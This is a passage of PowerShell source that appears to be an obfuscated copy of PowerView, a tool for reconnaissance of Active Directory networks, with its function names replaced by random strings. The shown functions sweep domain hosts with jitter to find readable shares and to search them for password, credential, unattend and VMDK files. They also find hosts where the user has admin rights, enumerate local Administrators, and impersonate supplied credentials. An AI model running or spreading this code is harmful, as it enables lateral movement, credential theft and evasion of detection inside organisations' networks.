if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } | |
$TargetUsers = MPOE9M0DMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName | |
} | |
if ($PSBoundParameters['ComputerName']) { | |
$TargetComputers = $ComputerName | |
} | |
else { | |
$DCSearcherArguments = @{ | |
'LDAP' = $True | |
} | |
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } | |
Write-Verbose "[1KMCMR2E] Querying for domain controllers in domain: $Domain" | |
$TargetComputers = V0UZY4PL @DCSearcherArguments | Select-Object -ExpandProperty dnshostname | |
} | |
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { | |
$TargetComputers = @(,$TargetComputers) | |
} | |
Write-Verbose "[1KMCMR2E] TargetComputers length: $($TargetComputers.Length)" | |
Write-Verbose "[1KMCMR2E] TargetComputers $TargetComputers" | |
if ($TargetComputers.Length -eq 0) { | |
throw '[1KMCMR2E] No hosts found to enumerate' | |
} | |
$HostEnumBlock = { | |
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) | |
ForEach ($TargetComputer in $ComputerName) { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer | |
if ($Up) { | |
$DomainUserEventArgs = @{ | |
'ComputerName' = $TargetComputer | |
} | |
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } | |
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } | |
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } | |
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } | |
if ($Filter -or $TargetUsers) { | |
if ($TargetUsers) { | |
C52BTCXMEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} | |
} | |
else { | |
$Operator = 'or' | |
$Filter.Keys | ForEach-Object { | |
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { | |
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { | |
$Operator = 'and' | |
} | |
} | |
} | |
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} | |
C52BTCXMEvent @DomainUserEventArgs | ForEach-Object { | |
if ($Operator -eq 'or') { | |
ForEach ($Key in $Keys) { | |
if ($_."$Key" -match $Filter[$Key]) { | |
$_ | |
} | |
} | |
} | |
else { | |
ForEach ($Key in $Keys) { | |
if ($_."$Key" -notmatch $Filter[$Key]) { | |
break | |
} | |
$_ | |
} | |
} | |
} | |
} | |
} | |
else { | |
C52BTCXMEvent @DomainUserEventArgs | |
} | |
} | |
} | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
Write-Verbose "[1KMCMR2E] Total number of hosts: $($TargetComputers.count)" | |
Write-Verbose "[1KMCMR2E] Delay: $Delay, Jitter: $Jitter" | |
$Counter = 0 | |
$RandNo = New-Object System.Random | |
ForEach ($TargetComputer in $TargetComputers) { | |
$Counter = $Counter + 1 | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
Write-Verbose "[1KMCMR2E] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" | |
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential | |
$Result | |
if ($Result -and $StopOnSuccess) { | |
Write-Verbose "[1KMCMR2E] Target user found, returning early" | |
return | |
} | |
} | |
} | |
else { | |
Write-Verbose "[1KMCMR2E] Using threading with threads: $Threads" | |
$ScriptParams = @{ | |
'StartTime' = $StartTime | |
'EndTime' = $EndTime | |
'MaxEvents' = $MaxEvents | |
'TargetUsers' = $TargetUsers | |
'Filter' = $Filter | |
'Credential' = $Credential | |
} | |
BAUXSI0N -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | |
} | |
} | |
} | |
function HUJD9ZTI { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.ShareInfo')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DNSHostName')] | |
[String[]] | |
$ComputerName, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Domain')] | |
[String] | |
$ComputerDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerSearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('OperatingSystem')] | |
[String] | |
$ComputerOperatingSystem, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ServicePack')] | |
[String] | |
$ComputerServicePack, | |
[ValidateNotNullOrEmpty()] | |
[Alias('SiteName')] | |
[String] | |
$ComputerSiteName, | |
[Alias('CheckAccess')] | |
[Switch] | |
$CheckShareAccess, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20 | |
) | |
BEGIN { | |
$ComputerSearcherArguments = @{ | |
'Properties' = 'dnshostname' | |
} | |
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } | |
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } | |
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } | |
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } | |
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } | |
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } | |
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['ComputerName']) { | |
$TargetComputers = $ComputerName | |
} | |
else { | |
Write-Verbose '[HUJD9ZTI] Querying computers in the domain' | |
$TargetComputers = 7M60VMOB @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname | |
} | |
Write-Verbose "[HUJD9ZTI] TargetComputers length: $($TargetComputers.Length)" | |
if ($TargetComputers.Length -eq 0) { | |
throw '[HUJD9ZTI] No hosts found to enumerate' | |
} | |
$HostEnumBlock = { | |
Param($ComputerName, $CheckShareAccess, $TokenHandle) | |
if ($TokenHandle) { | |
$Null = N00NHJ8I -TokenHandle $TokenHandle -Quiet | |
} | |
ForEach ($TargetComputer in $ComputerName) { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer | |
if ($Up) { | |
$Shares = WRUUL8VB -ComputerName $TargetComputer | |
ForEach ($Share in $Shares) { | |
$ShareName = $Share.Name | |
$Path = '\\'+$TargetComputer+'\'+$ShareName | |
if (($ShareName) -and ($ShareName.trim() -ne '')) { | |
if ($CheckShareAccess) { | |
try { | |
$Null = [IO.Directory]::GetFiles($Path) | |
$Share | |
} | |
catch { | |
Write-Verbose "Error accessing share path $Path : $_" | |
} | |
} | |
else { | |
$Share | |
} | |
} | |
} | |
} | |
} | |
if ($TokenHandle) { | |
ZPJ0WOMD | |
} | |
} | |
$LogonToken = $Null | |
if ($PSBoundParameters['Credential']) { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
else { | |
$LogonToken = N00NHJ8I -Credential $Credential -Quiet | |
} | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
Write-Verbose "[HUJD9ZTI] Total number of hosts: $($TargetComputers.count)" | |
Write-Verbose "[HUJD9ZTI] Delay: $Delay, Jitter: $Jitter" | |
$Counter = 0 | |
$RandNo = New-Object System.Random | |
ForEach ($TargetComputer in $TargetComputers) { | |
$Counter = $Counter + 1 | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
Write-Verbose "[HUJD9ZTI] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" | |
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken | |
} | |
} | |
else { | |
Write-Verbose "[HUJD9ZTI] Using threading with threads: $Threads" | |
$ScriptParams = @{ | |
'CheckShareAccess' = $CheckShareAccess | |
'TokenHandle' = $LogonToken | |
} | |
BAUXSI0N -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function VGA9NDSP { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.FoundFile')] | |
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DNSHostName')] | |
[String[]] | |
$ComputerName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerSearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('OperatingSystem')] | |
[String] | |
$ComputerOperatingSystem, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ServicePack')] | |
[String] | |
$ComputerServicePack, | |
[ValidateNotNullOrEmpty()] | |
[Alias('SiteName')] | |
[String] | |
$ComputerSiteName, | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[Alias('SearchTerms', 'Terms')] | |
[String[]] | |
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), | |
[ValidateNotNullOrEmpty()] | |
[ValidatePattern('\\\\')] | |
[Alias('Share')] | |
[String[]] | |
$SharePath, | |
[String[]] | |
$ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$LastAccessTime, | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$LastWriteTime, | |
[Parameter(ParameterSetName = 'FileSpecification')] | |
[ValidateNotNullOrEmpty()] | |
[DateTime] | |
$CreationTime, | |
[Parameter(ParameterSetName = 'OfficeDocs')] | |
[Switch] | |
$OfficeDocs, | |
[Parameter(ParameterSetName = 'FreshEXEs')] | |
[Switch] | |
$FreshEXEs, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20 | |
) | |
BEGIN { | |
$ComputerSearcherArguments = @{ | |
'Properties' = 'dnshostname' | |
} | |
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } | |
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } | |
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } | |
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } | |
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } | |
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['ComputerName']) { | |
$TargetComputers = $ComputerName | |
} | |
else { | |
Write-Verbose '[VGA9NDSP] Querying computers in the domain' | |
$TargetComputers = 7M60VMOB @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname | |
} | |
Write-Verbose "[VGA9NDSP] TargetComputers length: $($TargetComputers.Length)" | |
if ($TargetComputers.Length -eq 0) { | |
throw '[VGA9NDSP] No hosts found to enumerate' | |
} | |
$HostEnumBlock = { | |
Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) | |
if ($TokenHandle) { | |
$Null = N00NHJ8I -TokenHandle $TokenHandle -Quiet | |
} | |
ForEach ($TargetComputer in $ComputerName) { | |
$SearchShares = @() | |
if ($TargetComputer.StartsWith('\\')) { | |
$SearchShares += $TargetComputer | |
} | |
else { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer | |
if ($Up) { | |
$Shares = WRUUL8VB -ComputerName $TargetComputer | |
ForEach ($Share in $Shares) { | |
$ShareName = $Share.Name | |
$Path = '\\'+$TargetComputer+'\'+$ShareName | |
if (($ShareName) -and ($ShareName.Trim() -ne '')) { | |
if ($ExcludedShares -NotContains $ShareName) { | |
try { | |
$Null = [IO.Directory]::GetFiles($Path) | |
$SearchShares += $Path | |
} | |
catch { | |
Write-Verbose "[!] No access to $Path" | |
} | |
} | |
} | |
} | |
} | |
} | |
ForEach ($Share in $SearchShares) { | |
Write-Verbose "Searching share: $Share" | |
$SearchArgs = @{ | |
'Path' = $Share | |
'Include' = $Include | |
} | |
if ($OfficeDocs) { | |
$SearchArgs['OfficeDocs'] = $OfficeDocs | |
} | |
if ($FreshEXEs) { | |
$SearchArgs['FreshEXEs'] = $FreshEXEs | |
} | |
if ($LastAccessTime) { | |
$SearchArgs['LastAccessTime'] = $LastAccessTime | |
} | |
if ($LastWriteTime) { | |
$SearchArgs['LastWriteTime'] = $LastWriteTime | |
} | |
if ($CreationTime) { | |
$SearchArgs['CreationTime'] = $CreationTime | |
} | |
if ($CheckWriteAccess) { | |
$SearchArgs['CheckWriteAccess'] = $CheckWriteAccess | |
} | |
GL196UE0 @SearchArgs | |
} | |
} | |
if ($TokenHandle) { | |
ZPJ0WOMD | |
} | |
} | |
$LogonToken = $Null | |
if ($PSBoundParameters['Credential']) { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
else { | |
$LogonToken = N00NHJ8I -Credential $Credential -Quiet | |
} | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
Write-Verbose "[VGA9NDSP] Total number of hosts: $($TargetComputers.count)" | |
Write-Verbose "[VGA9NDSP] Delay: $Delay, Jitter: $Jitter" | |
$Counter = 0 | |
$RandNo = New-Object System.Random | |
ForEach ($TargetComputer in $TargetComputers) { | |
$Counter = $Counter + 1 | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
Write-Verbose "[VGA9NDSP] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" | |
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken | |
} | |
} | |
else { | |
Write-Verbose "[VGA9NDSP] Using threading with threads: $Threads" | |
$ScriptParams = @{ | |
'Include' = $Include | |
'ExcludedShares' = $ExcludedShares | |
'OfficeDocs' = $OfficeDocs | |
'ExcludeHidden' = $ExcludeHidden | |
'FreshEXEs' = $FreshEXEs | |
'CheckWriteAccess' = $CheckWriteAccess | |
'TokenHandle' = $LogonToken | |
} | |
BAUXSI0N -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | |
} | |
} | |
END { | |
if ($LogonToken) { | |
ZPJ0WOMD -TokenHandle $LogonToken | |
} | |
} | |
} | |
function YBS2JW1A { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([String])] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DNSHostName')] | |
[String[]] | |
$ComputerName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerSearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('OperatingSystem')] | |
[String] | |
$ComputerOperatingSystem, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ServicePack')] | |
[String] | |
$ComputerServicePack, | |
[ValidateNotNullOrEmpty()] | |
[Alias('SiteName')] | |
[String] | |
$ComputerSiteName, | |
[Switch] | |
$CheckShareAccess, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20 | |
) | |
BEGIN { | |
$ComputerSearcherArguments = @{ | |
'Properties' = 'dnshostname' | |
} | |
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } | |
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } | |
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } | |
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } | |
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } | |
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } | |
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['ComputerName']) { | |
$TargetComputers = $ComputerName | |
} | |
else { | |
Write-Verbose '[YBS2JW1A] Querying computers in the domain' | |
$TargetComputers = 7M60VMOB @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname | |
} | |
Write-Verbose "[YBS2JW1A] TargetComputers length: $($TargetComputers.Length)" | |
if ($TargetComputers.Length -eq 0) { | |
throw '[YBS2JW1A] No hosts found to enumerate' | |
} | |
$HostEnumBlock = { | |
Param($ComputerName, $TokenHandle) | |
if ($TokenHandle) { | |
$Null = N00NHJ8I -TokenHandle $TokenHandle -Quiet | |
} | |
ForEach ($TargetComputer in $ComputerName) { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer | |
if ($Up) { | |
$Access = DTR4S3F8 -ComputerName $TargetComputer | |
if ($Access.IsAdmin) { | |
$TargetComputer | |
} | |
} | |
} | |
if ($TokenHandle) { | |
ZPJ0WOMD | |
} | |
} | |
$LogonToken = $Null | |
if ($PSBoundParameters['Credential']) { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
else { | |
$LogonToken = N00NHJ8I -Credential $Credential -Quiet | |
} | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
Write-Verbose "[YBS2JW1A] Total number of hosts: $($TargetComputers.count)" | |
Write-Verbose "[YBS2JW1A] Delay: $Delay, Jitter: $Jitter" | |
$Counter = 0 | |
$RandNo = New-Object System.Random | |
ForEach ($TargetComputer in $TargetComputers) { | |
$Counter = $Counter + 1 | |
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
Write-Verbose "[YBS2JW1A] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" | |
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken | |
} | |
} | |
else { | |
Write-Verbose "[YBS2JW1A] Using threading with threads: $Threads" | |
$ScriptParams = @{ | |
'TokenHandle' = $LogonToken | |
} | |
BAUXSI0N -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | |
} | |
} | |
} | |
function CRMBFNUQ { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.LocalGroupMember.API')] | |
[OutputType('PowerView.LocalGroupMember.WinNT')] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('DNSHostName')] | |
[String[]] | |
$ComputerName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerDomain, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerLDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ComputerSearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('OperatingSystem')] | |
[String] | |
$ComputerOperatingSystem, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ServicePack')] | |
[String] | |
$ComputerServicePack, | |
[ValidateNotNullOrEmpty()] | |
[Alias('SiteName')] | |
[String] | |
$ComputerSiteName, | |
[Parameter(ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$GroupName = 'Administrators', | |
[ValidateSet('API', 'WinNT')] | |
[Alias('CollectionMethod')] | |
[String] | |
$Method = 'API', | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$Delay = 0, | |
[ValidateRange(0.0, 1.0)] | |
[Double] | |
$Jitter = .3, | |
[Int] | |
[ValidateRange(1, 100)] | |
$Threads = 20 | |
) | |
BEGIN { | |
$ComputerSearcherArguments = @{ | |
'Properties' = 'dnshostname' | |
} | |
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } | |
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } | |
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } | |
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } | |
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } | |
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } | |
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } | |
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['ComputerName']) { | |
$TargetComputers = $ComputerName | |
} | |
else { | |
Write-Verbose '[CRMBFNUQ] Querying computers in the domain' | |
$TargetComputers = 7M60VMOB @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname | |
} | |
Write-Verbose "[CRMBFNUQ] TargetComputers length: $($TargetComputers.Length)" | |
if ($TargetComputers.Length -eq 0) { | |
throw '[CRMBFNUQ] No hosts found to enumerate' | |
} | |
$HostEnumBlock = { | |
Param($ComputerName, $GroupName, $Method, $TokenHandle) | |
if ($GroupName -eq "Administrators") { | |
$AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) | |
$GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] | |
} | |
if ($TokenHandle) { | |
$Null = N00NHJ8I -TokenHandle $TokenHandle -Quiet | |
} | |
ForEach ($TargetComputer in $ComputerName) { | |
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer | |
if ($Up) { | |
$NetLocalGroupMemberArguments = @{ | |
'ComputerName' = $TargetComputer | |
'Method' = $Method | |
'GroupName' = $GroupName | |
} | |
16G5SDMDMember @NetLocalGroupMemberArguments | |
} | |
} | |
if ($TokenHandle) { | |
ZPJ0WOMD | |
} | |
} | |
$LogonToken = $Null | |
if ($PSBoundParameters['Credential']) { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
$LogonToken = N00NHJ8I -Credential $Credential | |
} | |
else { | |
$LogonToken = N00NHJ8I -Credential $Credential -Quiet | |
} | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { | |
Write-Verbose "[CRMBFNUQ] Total number of hosts: $($TargetComputers.count)" | |
